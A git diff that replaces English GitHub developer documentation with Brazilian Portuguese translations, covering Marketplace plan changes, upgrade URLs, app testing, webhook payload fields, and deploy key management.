 
-When a customer downgrades a plan, it's recommended to review whether a customer has exceeded their plan limits and engage with them directly in your UI or by reaching out to them by phone or email.
+Você precisará atualizar as informações da conta do cliente para refletir as alterações no ciclo de cobrança e no plano de preços que o cliente fez em seu pedido do {% data variables.product.prodname_marketplace %}. Exibe as atualizações para o plano de preços, `seat_count` (para planos de preços por unidade) e ciclo de cobrança no site do aplicativo do Marketplace ou na interface do usuário do seu aplicativo quando você receber a ação de webhook `alterado`.
 
-To encourage people to upgrade you can display an upgrade URL in your app's UI. See "[About upgrade URLs](#about-upgrade-urls)" for more details.
+Quando um cliente faz o downgrade de um plano, recomenda-se revisar se o cliente excedeu os limites do seu plano e interagir diretamente com ele na sua interface de usuário ou entrando em contato por telefone ou e-mail.
+
+Para incentivar as pessoas a fazer a atualização, você pode exibir uma URL de upgrade na interface do usuário do seu aplicativo. Consulte "[Sobre as URLs de atualização](#about-upgrade-urls)" para obter mais detalhes.
 
 {% note %}
 
-**Note:** We recommend performing a periodic synchronization using `GET /marketplace_listing/plans/:id/accounts` to ensure your app has the correct plan, billing cycle information, and unit count (for per-unit pricing) for each account.
+**Observação:** Recomendamos executar uma sincronização periódica usando `GET /marketplace_listing/plans/:id/accounts` para garantir que seu aplicativo tenha o plano, as informações do ciclo de cobrança e a contagem de unidades (preço por unidade) corretos para cada conta.
 
 {% endnote %}
 
-## Failed upgrade payments
+## Falha nos pagamentos de atualização
 
 {% data reusables.marketplace.marketplace-failed-purchase-event %}
 
-## About upgrade URLs
+## Sobre as URLs de atualização
 
-You can redirect users from your app's UI to upgrade on GitHub using an upgrade URL:
+Você pode redirecionar os usuários da interface de usuário do seu aplicativo no GitHub, usando uma URL de atualização:
 
 ```
 https://www.github.com/marketplace/<LISTING_NAME>/upgrade/<LISTING_PLAN_NUMBER>/<CUSTOMER_ACCOUNT_ID>
 ```
 
-For example, if you notice that a customer is on a 5 person plan and needs to move to a 10 person plan, you could display a button in your app's UI that says "Here's how to upgrade" or show a banner with a link to the upgrade URL. The upgrade URL takes the customer to your listing plan's upgrade confirmation page.
+Por exemplo, se você notar que um cliente está em um plano de 5 pessoas e precisa passar para um plano de 10 pessoas, você poderia exibir um botão na interface do usuário do seu aplicativo que diz "Aqui está como atualizar" ou exibir um banner com um link para a URL de atualização. A URL atualização leva o cliente para a página de confirmação de confirmação da atualização do seu plano da listagem.
 
-Use the `LISTING_PLAN_NUMBER` for the plan the customer would like to purchase. When you create new pricing plans they receive a `LISTING_PLAN_NUMBER`, which is unique to each plan across your listing, and a `LISTING_PLAN_ID`, which is unique to each plan in the {% data variables.product.prodname_marketplace %}. You can find these numbers when you [List plans](/rest/reference/apps#list-plans), which identifies your listing's pricing plans. Use the `LISTING_PLAN_ID` and the "[List accounts for a plan](/rest/reference/apps#list-accounts-for-a-plan)" endpoint to get the `CUSTOMER_ACCOUNT_ID`.
+Use o `LISTING_PLAN_NUMBER` para o plano que o cliente gostaria de comprar. Ao criar novos planos de preços, eles recebem um `LISTING_PLAN_NUMBER`, que é exclusivo para cada plano na sua listagem, e um `LISTING_PLAN_ID`, que é exclusivo para cada plano no {% data variables.product.prodname_marketplace %}. Você pode encontrar esses números ao [Listar planos](/rest/reference/apps#list-plans), que identifica os seus planos de preços da listagem. Use o `LISTING_PLAN_ID` e "[Listar contas de um plano](/rest/reference/apps#list-accounts-for-a-plan)" para obter o `CUSTOMER_ACCOUNT_ID`.
 
 
 {% note %}
 
-**Note:** If your customer upgrades to additional units (such as seats), you can still send them to the appropriate plan for their purchase, but we are unable to support `unit_count` parameters at this time.
+**Observação:** Se seu cliente atualiza unidades adicionais (como estações), você ainda poderá enviá-las para o plano apropriado para a compra, mas não podemos suportar os parâmetros de `unit_count` neste momento.
 
 {% endnote %}
diff --git a/translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/index.md b/translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/index.md
index 074d42544b..353096f577 100644
--- a/translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/index.md
+++ b/translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/index.md
@@ -1,6 +1,6 @@
 ---
-title: Using the GitHub Marketplace API in your app
-intro: 'Learn how to integrate the {% data variables.product.prodname_marketplace %} API and webhook events into your app for the {% data variables.product.prodname_marketplace %} .'
+title: Usar a API do GitHub Marketplace no seu aplicativo
+intro: 'Aprenda como integrar a API e os eventos do webhook do {% data variables.product.prodname_marketplace %} ao seu aplicativo para o {% data variables.product.prodname_marketplace %}.'
 redirect_from:
   - /apps/marketplace/setting-up-github-marketplace-webhooks
   - /apps/marketplace/integrating-with-the-github-marketplace-api
@@ -17,6 +17,6 @@ children:
   - /handling-new-purchases-and-free-trials
   - /handling-plan-changes
   - /handling-plan-cancellations
-shortTitle: Marketplace API usage
+shortTitle: Uso da API do Marketplace
 ---
 
diff --git a/translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api.md b/translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api.md
index 8a02a458a7..31518c10d9 100644
--- a/translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api.md
+++ b/translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api.md
@@ -1,6 +1,6 @@
 ---
-title: REST endpoints for the GitHub Marketplace API
-intro: 'To help manage your app on {% data variables.product.prodname_marketplace %}, use these {% data variables.product.prodname_marketplace %} API endpoints.'
+title: Pontos de extremidade de REST para a API do GitHub Marketplace
+intro: 'Para ajudar a gerenciar seu aplicativo em {% data variables.product.prodname_marketplace %}, use esses pontos de extremidade da API de {% data variables.product.prodname_marketplace %}.'
 redirect_from:
   - /apps/marketplace/github-marketplace-api-endpoints
   - /apps/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-rest-api-endpoints
@@ -11,22 +11,23 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: REST API
+shortTitle: API REST
 ---
-Here are some useful endpoints available for Marketplace listings:
 
-* [List plans](/rest/reference/apps#list-plans)
-* [List accounts for a plan](/rest/reference/apps#list-accounts-for-a-plan)
-* [Get a subscription plan for an account](/rest/reference/apps#get-a-subscription-plan-for-an-account)
-* [List subscriptions for the authenticated user](/rest/reference/apps#list-subscriptions-for-the-authenticated-user)
+Aqui estão alguns pontos de extremidade úteis e disponíveis para listagens do Marketplace:
 
-See these pages for details on how to authenticate when using the {% data variables.product.prodname_marketplace %} API:
+* [Listar planos](/rest/reference/apps#list-plans)
+* [Listar contas de um plano](/rest/reference/apps#list-accounts-for-a-plan)
+* [Obter um plano de assinatura para uma conta](/rest/reference/apps#get-a-subscription-plan-for-an-account)
+* [Listar assinaturas para o usuário autenticado](/rest/reference/apps#list-subscriptions-for-the-authenticated-user)
 
-* [Authorization options for OAuth Apps](/apps/building-oauth-apps/authorizing-oauth-apps/)
-* [Authentication options for GitHub Apps](/apps/building-github-apps/authenticating-with-github-apps/)
+Veja estas páginas para obter informações sobre como efetuar a autenticação ao usar a API do {% data variables.product.prodname_marketplace %}:
+
+* [Opções de autorização para aplicativos OAuth](/apps/building-oauth-apps/authorizing-oauth-apps/)
+* [Opções de autenticação para aplicativos GitHub](/apps/building-github-apps/authenticating-with-github-apps/)
 
 {% note %}
 
-**Note:** [Rate limits for the REST API](/rest#rate-limiting) apply to all {% data variables.product.prodname_marketplace %} API endpoints.
+**Observação:** [Os limites de taxa para a API REST](/rest#rate-limiting) aplicam-se a todos os pontos de extremidade da API de {% data variables.product.prodname_marketplace %}.
 
 {% endnote %}
diff --git a/translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app.md b/translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app.md
index 537d8fe792..0de79ecc48 100644
--- a/translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app.md
+++ b/translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app.md
@@ -1,6 +1,6 @@
 ---
-title: Testing your app
-intro: 'GitHub recommends testing your app with APIs and webhooks before submitting your listing to {% data variables.product.prodname_marketplace %} so you can provide an ideal experience for customers. Before an onboarding expert approves your app, it must adequately handle the billing flows.'
+title: Testar seu aplicativo
+intro: 'O GitHub recomenda testar seu aplicativo com APIs e webhooks antes de enviar sua listagem para o {% data variables.product.prodname_marketplace %}, para que você possa oferecer uma experiência ideal para os clientes. Antes que um especialista em integração aprove seu aplicativo, ele deverá tratar adequadamente os fluxos de cobrança.'
 redirect_from:
   - /apps/marketplace/testing-apps-apis-and-webhooks
   - /apps/marketplace/integrating-with-the-github-marketplace-api/testing-github-marketplace-apps
@@ -12,34 +12,35 @@ versions:
 topics:
   - Marketplace
 ---
-## Testing apps
 
-You can use a draft {% data variables.product.prodname_marketplace %} listing to simulate each of the billing flows. A listing in the draft state means that it has not been submitted for approval. Any purchases you make using a draft {% data variables.product.prodname_marketplace %} listing will _not_ create real transactions, and GitHub will not charge your credit card. Note that you can only simulate purchases for plans published in the draft listing and not for draft plans. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)."
+## Testar aplicativos
 
-### Using a development app with a draft listing to test changes
+Você pode usar um rascunho de anúncio de {% data variables.product.prodname_marketplace %} para simular cada um dos fluxos de cobrança. Uma listagem com status de rascunho significa que não foi enviada à aprovação. Qualquer compra que você fizer usando uma listagem de rascunho do {% data variables.product.prodname_marketplace %} _não criará_ transações reais e o GitHub não efetuará nenhuma cobrança no seu cartão de crédito. Observe que você só pode simular compras para planos publicados no rascunho do anúncio e não para rascunho de planos. Para mais informações, consulte "[Elaborar um anúncio para o seu aplicativo](/developers/github-marketplace/drafting-a-listing-for-your-app)" e "[Usar a API de {% data variables.product.prodname_marketplace %} no seu aplicativo](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)".
 
-A {% data variables.product.prodname_marketplace %} listing can only be associated with a single app registration, and each app can only access its own {% data variables.product.prodname_marketplace %} listing. For these reasons, we recommend configuring a separate development app, with the same configuration as your production app, and creating a _draft_ {% data variables.product.prodname_marketplace %} listing that you can use for testing. The draft {% data variables.product.prodname_marketplace %} listing allows you to test changes without affecting the active users of your production app. You will never have to submit your development {% data variables.product.prodname_marketplace %} listing, since you will only use it for testing.
+### Usar um aplicativo de desenvolvimento com uma listagem de rascunho para testar alterações
 
-Because you can only create draft {% data variables.product.prodname_marketplace %} listings for public apps, you must make your development app public. Public apps are not discoverable outside of published {% data variables.product.prodname_marketplace %} listings as long as you don't share the app's URL. A Marketplace listing in the draft state is only visible to the app's owner.
+Uma listagem do {% data variables.product.prodname_marketplace %} só pode ser associada a um único registro do aplicativo, e cada aplicativo só pode acessar sua própria listagem do {% data variables.product.prodname_marketplace %}. Por este motivo, recomendamos configurar um aplicativo de desenvolvimento separado, com a mesma configuração que o seu aplicativo de produção, bem como criar uma listagem de _rascunho de_ {% data variables.product.prodname_marketplace %} que você pode usar para testes. A listagem de rascunho do {% data variables.product.prodname_marketplace %} permite que você teste alterações sem afetar os usuários ativos do seu aplicativo de produção. Você nunca precisará enviar a sua lista de desenvolvimento do {% data variables.product.prodname_marketplace %}, uma vez que irá usá-la apenas para testes.
 
-Once you have a development app with a draft listing, you can use it to test changes you make to your app while integrating with the {% data variables.product.prodname_marketplace %} API and webhooks.
+Como você pode criar apenas listagens de rascunho do {% data variables.product.prodname_marketplace %} para aplicativos públicos, você deve tornar público o seu aplicativo de desenvolvimento. Os aplicativos públicos não são detectáveis fora das listagens publicadas do {% data variables.product.prodname_marketplace %}, desde que que você não compartilhe a URL do aplicativo. Uma listagem do Marketplace com o status de rascunho é visível apenas para o proprietário do aplicativo.
+
+Assim que você tiver um aplicativo de desenvolvimento com uma listagem de rascunho, você poderá usá-lo para testar as alterações feitas no seu aplicativo enquanto os integra à API e aos webhooks do {% data variables.product.prodname_marketplace %}.
 
 {% warning %}
 
-Do not make test purchases with an app that is live in {% data variables.product.prodname_marketplace %}.
+Não faça compras de teste com um app que está ativo em {% data variables.product.prodname_marketplace %}.
 
 {% endwarning %}
 
-### Simulating Marketplace purchase events
+### Simular eventos de compra do Marketplace
 
-Your testing scenarios may require setting up listing plans that offer free trials and switching between free and paid subscriptions. Because downgrades and cancellations don't take effect until the next billing cycle, GitHub provides a developer-only feature to "Apply Pending Change" to force `changed` and `cancelled` plan actions to take effect immediately. You can access **Apply Pending Change** for apps with _draft_ Marketplace listings in https://github.com/settings/billing#pending-cycle:
+Seus cenários de teste podem exigir a definição de planos de listagem que oferecem testes grátis e alternância de assinaturas grátis e pagas. Uma vez que os downgrades e os cancelamentos não entram em vigor antes do próximo ciclo de cobrança, o GitHub fornece um recurso apenas para o desenvolvedor "Aplicar alteração Pendente" para fazer com que as ações `alterado` e `cancelado` do plano entrem em vigor imediatamente. Você pode acessar **Aplicar alteração pendente** para aplicativos de listagens do Marketplace com o status _rascunho_ em https://github.com/settings/billing#pending-cycle:
 
-![Apply pending change](/assets/images/github-apps/github-apps-apply-pending-changes.png)
+![Aplicar alterações pendentes](/assets/images/github-apps/github-apps-apply-pending-changes.png)
 
-## Testing APIs
+## Testar APIs
 
-For most {% data variables.product.prodname_marketplace %} API endpoints, we also provide stubbed API endpoints that return hard-coded, fake data you can use for testing. To receive stubbed data, you must specify stubbed URLs, which include `/stubbed` in the route (for example, `/user/marketplace_purchases/stubbed`). For a list of endpoints that support this stubbed-data approach, see [{% data variables.product.prodname_marketplace %} endpoints](/rest/reference/apps#github-marketplace).
+Para a maioria dos pontos de extremidade da API de do {% data variables.product.prodname_marketplace %}, nós também fornecemos pontos de extremidade de teste da API, que retornam dados falsos de código que você pode usar para testes. Para receber dados de teste, você deve especificar as URLs de teste, que incluem `/teste` no encaminhamento (por exemplo, `/user/marketplace_purchases/stubbed`). Para obter uma lista de pontos de extremidade compatíveis com essa abordagem de dados de teste, consulte [pontos de extremidade do {% data variables.product.prodname_marketplace %} ](/rest/reference/apps#github-marketplace). .
 
-## Testing webhooks
+## Testar webhooks
 
-GitHub provides tools for testing your deployed payloads. For more information, see "[Testing webhooks](/webhooks/testing/)."
+O GitHub fornece ferramentas para testar as suas cargas implantadas. Para obter mais informações, consulte "[Testar webhooks](/webhooks/testing/)".
diff --git a/translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api.md b/translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api.md
index eb0ffba0ac..f07e143008 100644
--- a/translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api.md
+++ b/translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api.md
@@ -1,6 +1,6 @@
 ---
-title: Webhook events for the GitHub Marketplace API
-intro: 'A {% data variables.product.prodname_marketplace %} app receives information about changes to a user''s plan from the Marketplace purchase event webhook. A Marketplace purchase event is triggered when a user purchases, cancels, or changes their payment plan.'
+title: Eventos do Webhook para a API do GitHub Marketplace
+intro: 'Um aplicativo do {% data variables.product.prodname_marketplace %} recebe informações sobre mudanças no plano de um usuário no webhook do evento de compra no Marketplace. Um evento de compra no Marketplace é acionado quando um usuário compra, cancela ou muda seu plano de pagamento.'
 redirect_from:
   - /apps/marketplace/setting-up-github-marketplace-webhooks/about-webhook-payloads-for-a-github-marketplace-listing
   - /apps/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events
@@ -11,65 +11,66 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Webhook events
+shortTitle: Eventos webhook
 ---
-## {% data variables.product.prodname_marketplace %} purchase webhook payload
 
-Webhooks `POST` requests have special headers. See "[Webhook delivery headers](/webhooks/event-payloads/#delivery-headers)" for more details. GitHub doesn't resend failed delivery attempts. Ensure your app can receive all webhook payloads sent by GitHub.
+## Carga do webhook de compra no {% data variables.product.prodname_marketplace %}
 
-Cancellations and downgrades take effect on the first day of the next billing cycle. Events for downgrades and cancellations are sent when the new plan takes effect at the beginning of the next billing cycle. Events for new purchases and upgrades begin immediately. Use the `effective_date` in the webhook payload to determine when a change will begin.
+As solicitações de `POST` têm cabeçalhos especiais. Consulte "[Cabeçalhos de entrega de Webhook](/webhooks/event-payloads/#delivery-headers)" para obter mais informações. O GitHub não reenvia tentativas falhas de entrega. Certifique-se de que seu aplicativo possa receber todas as cargas do webhook enviadas pelo GitHub.
+
+Os cancelamentos e downgrades entram em vigor no primeiro dia do próximo ciclo de cobrança. Os eventos para downgrades e cancelamentos são enviados quando o novo plano entra em vigor no início do próximo ciclo de cobrança. Os eventos referentes às novas compras e atualizações entram em vigor imediatamente. Use `effective_date` na carga do webhook para determinar quando uma alteração terá início.
 
 {% data reusables.marketplace.marketplace-malicious-behavior %}
 
-Each `marketplace_purchase` webhook payload will have the following information:
+Cada carga útil do webhook de `marketplace_purchase` terá as seguintes informações:
 
 
-Key | Type | Description
-----|------|-------------
-`action` | `string` | The action performed to generate the webhook. Can be `purchased`, `cancelled`, `pending_change`, `pending_change_cancelled`, or `changed`. For more information, see the example webhook payloads below. **Note:** The `pending_change` and `pending_change_cancelled` payloads contain the same keys as shown in the [`changed` payload example](#example-webhook-payload-for-a-changed-event).
-`effective_date` | `string` | The date the `action` becomes effective.
-`sender` | `object` | The person who took the `action` that triggered the webhook.
-`marketplace_purchase` | `object` | The {% data variables.product.prodname_marketplace %} purchase information.
+| Tecla                  | Tipo     | Descrição                                                                                                                                                                                                                                                                                                                                                                                                             |
+| ---------------------- | -------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `Ação`                 | `string` | A ação realizada para gerar o webhook. Pode ser `comprado`, `cancelado`, `pending_change`, `pending_change_cancelled`, ou `alterado`. Para obter mais informações, consulte o exemplo de cargas de webhook abaixo. **Observação:** As cargas `pending_change` e `pending_change_cancelled` contêm as mesmas chaves mostradas no exemplo na carga [`alterado` da carga](#example-webhook-payload-for-a-changed-event). |
+| `effective_date`       | `string` | A data da `ação` entra em vigor.                                                                                                                                                                                                                                                                                                                                                                                      |
+| `remetente`            | `objeto` | A pessoa que realizou a `ação` que acionou o webhook.                                                                                                                                                                                                                                                                                                                                                                 |
+| `marketplace_purchase` | `objeto` | Informações de compra do {% data variables.product.prodname_marketplace %}.                                                                                                                                                                                                                                                                                                                                           |
 
-The `marketplace_purchase` object has the following keys:
+O objeto `marketplace_purchase` tem as seguintes chaves:
 
-Key | Type | Description
-----|------|-------------
-`account` | `object` | The `organization` or `user` account associated with the subscription. Organization accounts will include `organization_billing_email`, which is the organization's administrative email address. To find email addresses for personal accounts, you can use the [Get the authenticated user](/rest/reference/users#get-the-authenticated-user) endpoint.
-`billing_cycle` | `string` | Can be `yearly` or `monthly`. When the `account` owner has a free GitHub plan and has purchased a free {% data variables.product.prodname_marketplace %} plan, `billing_cycle` will be `nil`.
-`unit_count`  | `integer` | Number of units purchased.
-`on_free_trial` | `boolean` | `true` when the `account` is on a free trial.
-`free_trial_ends_on` | `string` | The date the free trial will expire.
-`next_billing_date` | `string` | The date that the next billing cycle will start. When the `account` owner has a free GitHub.com plan and has purchased a free {% data variables.product.prodname_marketplace %} plan, `next_billing_date` will be `nil`.
-`plan` | `object` | The plan purchased by the `user` or `organization`.
+| Tecla                | Tipo      | Descrição                                                                                                                                                                                                                                                                                                                                                                   |
+| -------------------- | --------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `conta`              | `objeto`  | A conta da `organização` ou do `usuário` associada à assinatura. As contas da organização incluirão `organization_billing_email`, que é o endereço de e-mail administrativo da organização. Para encontrar endereços de e-mail para contas pessoais, você pode usar o ponto de extremidade [Obter o usuário autenticado](/rest/reference/users#get-the-authenticated-user). |
+| `billing_cycle`      | `string`  | Pode ser `anual` ou `mensal`. Quando a o proprietário da `conta` tem um plano grátis do GitHub e comprou um plano grátis do {% data variables.product.prodname_marketplace %}, o `billing_cycle` será `nulo`.                                                                                                                                                               |
+| `unit_count`         | `inteiro` | Número de unidades compradas.                                                                                                                                                                                                                                                                                                                                               |
+| `on_free_trial`      | `boolean` | `verdadeiro` quando a `conta` está em um teste grátis.                                                                                                                                                                                                                                                                                                                      |
+| `free_trial_ends_on` | `string`  | A data em que o teste grátis expirará.                                                                                                                                                                                                                                                                                                                                      |
+| `next_billing_date`  | `string`  | A data em que começará o próximo ciclo de faturamento. Quando o proprietário da `conta` tem um plano grátis do GitHub.com e comprou um plano grátis do {% data variables.product.prodname_marketplace %}, o `next_billing_date` será `nulo`.                                                                                                                                |
+| `plano`              | `objeto`  | O plano comprado pelo usuário `` ou `organização`.                                                                                                                                                                                                                                                                                                                          |
 
-The `plan` object has the following keys:
+O objeto `plano` tem as chaves a seguir:
 
-Key | Type | Description
-----|------|-------------
-`id` | `integer` | The unique identifier for this plan.
-`name` | `string` | The plan's name.
-`description` | `string` | This plan's description.
-`monthly_price_in_cents` | `integer` | The monthly price of this plan in cents (US currency). For example, a listing that costs 10 US dollars per month will be 1000 cents.
-`yearly_price_in_cents` | `integer` | The yearly price of this plan in cents (US currency). For example, a listing that costs 100 US dollars per month will be 10000 cents.
-`price_model` | `string` | The pricing model for this listing. Can be one of `flat-rate`, `per-unit`, or `free`.
-`has_free_trial` | `boolean` | `true` when this listing offers a free trial.
-`unit_name` | `string` | The name of the unit. If the pricing model is not `per-unit` this will be `nil`.
-`bullet` | `array of strings` | The names of the bullets set in the pricing plan.
+| Tecla                    | Tipo               | Descrição                                                                                                                             |
+| ------------------------ | ------------------ | ------------------------------------------------------------------------------------------------------------------------------------- |
+| `id`                     | `inteiro`          | O identificador exclusivo para este plano.                                                                                            |
+| `name`                   | `string`           | O nome do plano.                                                                                                                      |
+| `descrição`              | `string`           | Descrição deste plano.                                                                                                                |
+| `monthly_price_in_cents` | `inteiro`          | O preço mensal deste plano em centavos (moeda americana). Por exemplo, uma listagem que custa 10 dólares por mês será 1000 centavos.  |
+| `yearly_price_in_cents`  | `inteiro`          | O preço anual deste plano em centavos (moeda americana). Por exemplo, uma listagem que custa 100 dólares por mês será 10000 centavos. |
+| `price_model`            | `string`           | O modelo de preço para esta listagem. Pode ser uma das `tarifas fixas`, `por unidade`, ou `grátis`.                                   |
+| `has_free_trial`         | `boolean`          | `verdadeiro` quando esta listagem oferece um teste grátis.                                                                            |
+| `unit_name`              | `string`           | O nome da unidade. Se o modelo de preços não é `por unidade`, será `nulo`.                                                            |
+| `marcador`               | `array de strigns` | Os nomes dos marcadores estabelecidos no plano de preços.                                                                             |
 
 <br/>
 
-### Example webhook payload for a `purchased` event
-This example provides the `purchased` event payload.
+### Exemplo de carga de webhook para um evento `comprado`
+Este exemplo fornece a carga do evento `comprado`.
 
 {{ webhookPayloadsForCurrentVersion.marketplace_purchase.purchased }}
 
-### Example webhook payload for a `changed` event
+### Exemplo de carga de webhook para um evento `alterado`
 
-Changes in a plan include upgrades and downgrades. This example represents the `changed`,`pending_change`, and `pending_change_cancelled` event payloads. The action identifies which of these three events has occurred.
+As alterações em um plano incluem atualizações e downgrades. Este exemplo representa as cargas de eventos `alterados`,`pending_change` e `pending_change_cancelled`. A ação identifica qual destes três acontecimentos ocorreu.
 
 {{ webhookPayloadsForCurrentVersion.marketplace_purchase.changed }}
 
-### Example webhook payload for a `cancelled` event
+### Exemplo de carga de webhook para um evento `cancelado`
 
 {{ webhookPayloadsForCurrentVersion.marketplace_purchase.cancelled }}
diff --git a/translations/pt-BR/content/developers/overview/managing-deploy-keys.md b/translations/pt-BR/content/developers/overview/managing-deploy-keys.md
index 6d51247d42..55ffd1e7f8 100644
--- a/translations/pt-BR/content/developers/overview/managing-deploy-keys.md
+++ b/translations/pt-BR/content/developers/overview/managing-deploy-keys.md
@@ -1,6 +1,6 @@
 ---
-title: Managing deploy keys
-intro: Learn different ways to manage SSH keys on your servers when you automate deployment scripts and which way is best for you.
+title: Gerenciar chaves de implantação
+intro: Aprenda maneiras diferentes de gerenciar chaves SSH em seus servidores ao automatizar scripts de implantação e da melhor maneira para você.
 redirect_from:
   - /guides/managing-deploy-keys
   - /v3/guides/managing-deploy-keys
@@ -14,85 +14,90 @@ topics:
 ---
 
 
-You can manage SSH keys on your servers when automating deployment scripts using SSH agent forwarding, HTTPS with OAuth tokens, deploy keys, or machine users.
+Você pode gerenciar chaves SSH em seus servidores ao automatizar scripts de implantação usando o encaminhamento do agente SSH, HTTPS com tokens do OAuth, chaves de implantação ou usuários de máquina.
 
-## SSH agent forwarding
+## Encaminhamento de agente SSH
 
-In many cases, especially in the beginning of a project, SSH agent forwarding is the quickest and simplest method to use. Agent forwarding uses the same SSH keys that your local development computer uses.
+Em muitos casos, especialmente no início de um projeto, o encaminhamento de agentes SSH é o método mais rápido e simples de utilizar. O encaminhamento de agentes usa as mesmas chaves SSH que o seu computador de desenvolvimento local.
 
-#### Pros
+#### Prós
 
-* You do not have to generate or keep track of any new keys.
-* There is no key management; users have the same permissions on the server that they do locally.
-* No keys are stored on the server, so in case the server is compromised, you don't need to hunt down and remove the compromised keys.
+* Você não tem que gerar ou monitorar nenhuma chave nova.
+* Não há gerenciamento de chaves; os usuários têm as mesmas permissões no servidor e localmente.
+* Não há chaves armazenadas no servidor. Portanto, caso o servidor esteja comprometido, você não precisa buscar e remover as chaves comprometidas.
 
-#### Cons
+#### Contras
 
-* Users **must** SSH in to deploy; automated deploy processes can't be used.
-* SSH agent forwarding can be troublesome to run for Windows users.
+* Os usuários **devem** ingressar com SSH para implantar; os processos de implantação automatizados não podem ser usados.
+* Pode ser problemático executar o encaminhamento de agente SSH para usuários do Windows.
 
-#### Setup
+#### Configuração
 
-1. Turn on agent forwarding locally. See [our guide on SSH agent forwarding][ssh-agent-forwarding] for more information.
-2. Set your deploy scripts to use agent forwarding. For example, on a bash script, enabling agent forwarding would look something like this: 
-`ssh -A serverA 'bash -s' < deploy.sh`
+1. Ativar o encaminhamento do agente localmente. Consulte o [nosso guia sobre o encaminhamento de agentes SSH][ssh-agent-forwarding] para obter mais informações.
+2. Defina seus scripts de implantação para usar o encaminhamento de agentes. Por exemplo, em um script bash, permitir o encaminhamento de agentes seria algo como isto: `ssh -A serverA 'bash -s' < deploy.sh`
 
-## HTTPS cloning with OAuth tokens
+## Clonagem de HTTPS com tokens do OAuth
 
-If you don't want to use SSH keys, you can use [HTTPS with OAuth tokens][git-automation].
+Se você não quiser usar chaves SSH, você poderá usar [HTTPS com tokens do OAuth][git-automation].
 
-#### Pros
+#### Prós
 
-* Anyone with access to the server can deploy the repository.
-* Users don't have to change their local SSH settings.
-* Multiple tokens (one for each user) are not needed; one token per server is enough.
-* A token can be revoked at any time, turning it essentially into a one-use password.
+* Qualquer pessoa com acesso ao servidor pode implantar o repositório.
+* Os usuários não precisam alterar suas configurações SSH locais.
+* Não são necessários vários tokens (um para cada usuário); um token por servidor é suficiente.
+* Um token pode ser revogado a qualquer momento, transformando-o, basicamente, em uma senha de uso único.
 {% ifversion ghes %}
-* Generating new tokens can be easily scripted using [the OAuth API](/rest/reference/oauth-authorizations#create-a-new-authorization).
+* Gerar novos tokens pode ser facilmente programado usando [a API do OAuth](/rest/reference/oauth-authorizations#create-a-new-authorization).
 {% endif %}
 
-#### Cons
+#### Contras
 
-* You must make sure that you configure your token with the correct access scopes.
-* Tokens are essentially passwords, and must be protected the same way.
+* Você deve certificar-se de configurar seu token com os escopos de acesso corretos.
+* Os Tokens são, basicamente, senhas e devem ser protegidos da mesma maneira.
 
-#### Setup
+#### Configuração
 
-See [our guide on Git automation with tokens][git-automation].
+Consulte o [nosso guia sobre automação Git com tokens][git-automation].
 
-## Deploy keys
+## Chaves de implantação
 
 {% data reusables.repositories.deploy-keys %}
 
 {% data reusables.repositories.deploy-keys-write-access %}
 
-#### Pros
+#### Prós
 
-* Anyone with access to the repository and server has the ability to deploy the project.
-* Users don't have to change their local SSH settings.
-* Deploy keys are read-only by default, but you can give them write access when adding them to a repository.
+* Qualquer pessoa com acesso ao repositório e servidor é capaz de implantar o projeto.
+* Os usuários não precisam alterar suas configurações SSH locais.
+* As chaves de implantação são somente leitura por padrão, mas você pode lhes conferir acesso de gravação ao adicioná-las a um repositório.
 
-#### Cons
+#### Contras
 
-* Deploy keys only grant access to a single repository. More complex projects may have many repositories to pull to the same server.
-* Deploy keys are usually not protected by a passphrase, making the key easily accessible if the server is compromised.
+* As chaves de implementação só concedem acesso a um único repositório. Projetos mais complexos podem ter muitos repositórios para extrair para o mesmo servidor.
+* De modo geral, as chaves de implantação não são protegidas por uma frase secreta, o que a chave facilmente acessível se o servidor estiver comprometido.
 
-#### Setup
+#### Configuração
 
-1. [Run the `ssh-keygen` procedure][generating-ssh-keys] on your server, and remember where you save the generated public/private rsa key pair.
-2. In the upper-right corner of any {% data variables.product.product_name %} page, click your profile photo, then click **Your profile**. ![Navigation to profile](/assets/images/profile-page.png)
-3. On your profile page, click **Repositories**, then click the name of your repository. ![Repositories link](/assets/images/repos.png)
-4. From your repository, click **Settings**. ![Repository settings](/assets/images/repo-settings.png)
